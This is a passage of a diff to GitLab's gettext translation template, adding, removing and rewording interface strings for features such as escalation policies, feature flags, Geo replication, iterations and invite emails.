+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
